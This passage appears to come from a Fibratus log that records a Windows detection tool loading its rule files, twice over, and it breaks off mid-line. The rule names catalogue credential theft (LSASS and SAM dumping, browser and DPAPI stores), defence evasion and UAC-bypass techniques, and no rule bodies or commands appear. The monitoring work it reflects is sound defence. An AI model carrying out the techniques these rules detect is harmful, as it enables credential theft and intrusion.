C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from 